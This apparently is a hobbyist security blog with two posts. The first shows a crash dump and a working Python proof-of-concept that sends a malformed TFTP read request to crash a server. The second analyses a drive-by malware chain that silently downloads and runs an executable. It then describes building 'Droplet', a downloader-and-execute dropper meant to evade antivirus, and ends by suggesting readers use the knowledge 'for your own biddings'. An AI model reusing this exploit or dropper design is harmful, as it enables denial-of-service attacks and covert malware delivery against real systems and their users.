Running out of time to play with this bug, still need to pack for my flight early tmw morning. Code at the bottom results in a DOS. I fiddled a little with the POC but throwing that much data at it does not seem to do anything, almost as if the program is just dropping it. It’s also possible my VM’s are screwed up! Meh, I’m heading to a warmer climate! Peace out!

msvcrt.dll:77c483b7 mov ah,[edi] from thread 340 caused access violation
when attempting to read from 0x41414141
 
CONTEXT DUMP
  EIP: 77c483b7 mov ah,[edi]
  EAX: 77c5f76e (2009462638) -> N/A
  EBX: 77c5f7a0 (2009462688) -> N/A
  ECX: 77c33493 (2009281683) -> N/A
  EDX: 77c61b18 (2009471768) -> N/A
  EDI: 41414141 (1094795585) -> N/A
  ESI: 00409243 (   4231747) -> N/A
  EBP: 00aef788 (  11466632) -> N/A
  ESP: 00aef77c (  11466620) -> w'=$}bwAAAAB@dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +00: 77c5f7a0 (2009462688) -> N/A
  +04: 003d27d0 (   4007888) -> Tl @wwos===C:\WINDOWSE" (heap)
  +08: 0024bc80 (   2407552) -> $Tq CKM@c$ (heap)
  +0c: 00aef7a0 (  11466656) -> dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +10: 77c4627d (2009358973) -> N/A
  +14: 41414141 (1094795585) -> N/A
 
disasm around:
	0x77c483a4 push esi
	0x77c483a5 push ebx
	0x77c483a6 mov esi,[ebp+0xc]
	0x77c483a9 mov edi,[ebp+0x8]
	0x77c483ac mov al,0xff
	0x77c483ae mov edi,edi
	0x77c483b0 or al,al
	0x77c483b2 jz 0x77c483e2
	0x77c483b4 mov al,[esi]
	0x77c483b6 inc esi
	0x77c483b7 mov ah,[edi]
	0x77c483b9 inc edi
	0x77c483ba cmp ah,al
	0x77c483bc jz 0x77c483b0
	0x77c483be sub al,0x41
	0x77c483c0 cmp al,0x1a
	0x77c483c2 sbb cl,cl
	0x77c483c4 and cl,0x20
	0x77c483c7 add al,cl
	0x77c483c9 add al,0x41
	0x77c483cb xchg al,ah

#/usr/bin/env python
 
import socket,sys
 
host = sys.argv[1]
port = 69
 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((host,port))
 
data  = "\x00\x01" #  1     Read request (RRQ)
data += "A" * 242 #overwrite EDI
data += "B" * 4 # EDI VALUE
data += "\x00"
data += "\x6e\x65\x74\x61\x73\x63\x69\x69\x00" #tftp protocol trailing crap mostly to make wireshark happy
sock.sendall(data)

A while back dean sent me some malware that he had been collecting off client systems. He didn’t ask me to do an analysis on them but I started doing it anyway. The first aspect of this malware was a delivery system that actually got some type of client side execution on the system.

The delivery has three aspects of it and is served via javascript.

First in the event javascript is disabled the visited page displays a link for the user to click. The title simply says “Please download”. If javascript works, it attempts to a function in MDAC by creating and ADODB stream and downloading the file. The file downloaded is then named svchosts.exe, and the shellexecute function is called with the svchosts.exe file name passed to it. On a Linux machine, an automatic save box is displayed within about 10 seconds. An example of the javascript decoded by dean can be found here. WARNING – It is set up to automatically download and launch a file called video.exe. I have copied a safe version of calc.exe to the web root so don’t get your pants in a bunch when it either launches, or attempts to downoad… If it does launch, you need to 1) stop using windows/internet explorer and 2) patch your system.

Dean was able to pull a copy of video1.exe from the server hosting this piece of malware. I took a look at it for analysis a few day’s ago. Initial tests for packing came up empty, but it would seem there is slight obfuscation in the code. There are many places where analysis fails, there are absolutely no strings, and some of the code seems to jump around to non existent addresses. I am still attempting to identify what type of encryption/packer was used on the code to optimize my disassembly. Until then I have barely any strings and only a few imports.

The few imports I do have lead me to recreate the file video1.exe. All of the imports came from Wininet which is the windows API for internet data. I set about researching a few of the api’s and pieceing together the logic and code behind video1.exe. I’ve concluded that it downloads and executes a file from another place using the functions in Wininet. Further preparing my infrastructure for penetration testing I wanted to create my own dropper for custom trojans and thinks beyond meterpreter.exe. I wanted something that would not be flagged by Anti Virus and that I can keep relatively small.

What I did was create Droplet. I finished the code last night and It’s pretty light weight. I did not encorporate any of the ftpGetFile, or Gopher functions from Wininet. I simply wanted a file dropper that would download code, copy it to a file and then execute it.

The basic flow of the program is

InternetOpen
InternetConnect
HttpOpenRequest
HttpAddRequestHeaders
HttpQueryInfo
HttpSendRequest
Either InternetReadFile or URLDownloadToFile

From this point if you are using InternetReadFile you can use the Windows API to create the file and copy the data too. I’m still working bugs out with this method.

URLDownloadToFile seems to be the better choice since it is designed to copy the data to a file instead of to a buffer. I think I might head out to the river this weekend but I’m hoping to have some time that I can play with the FTP Functions inside WinInet.

Anyway, Malware Analysis is pretty cool because you can learn how people smarter than you carry out nefarious biddings. Hopefully you learn from it and you can either apply it to your penetration testing, or for your own biddings!

-E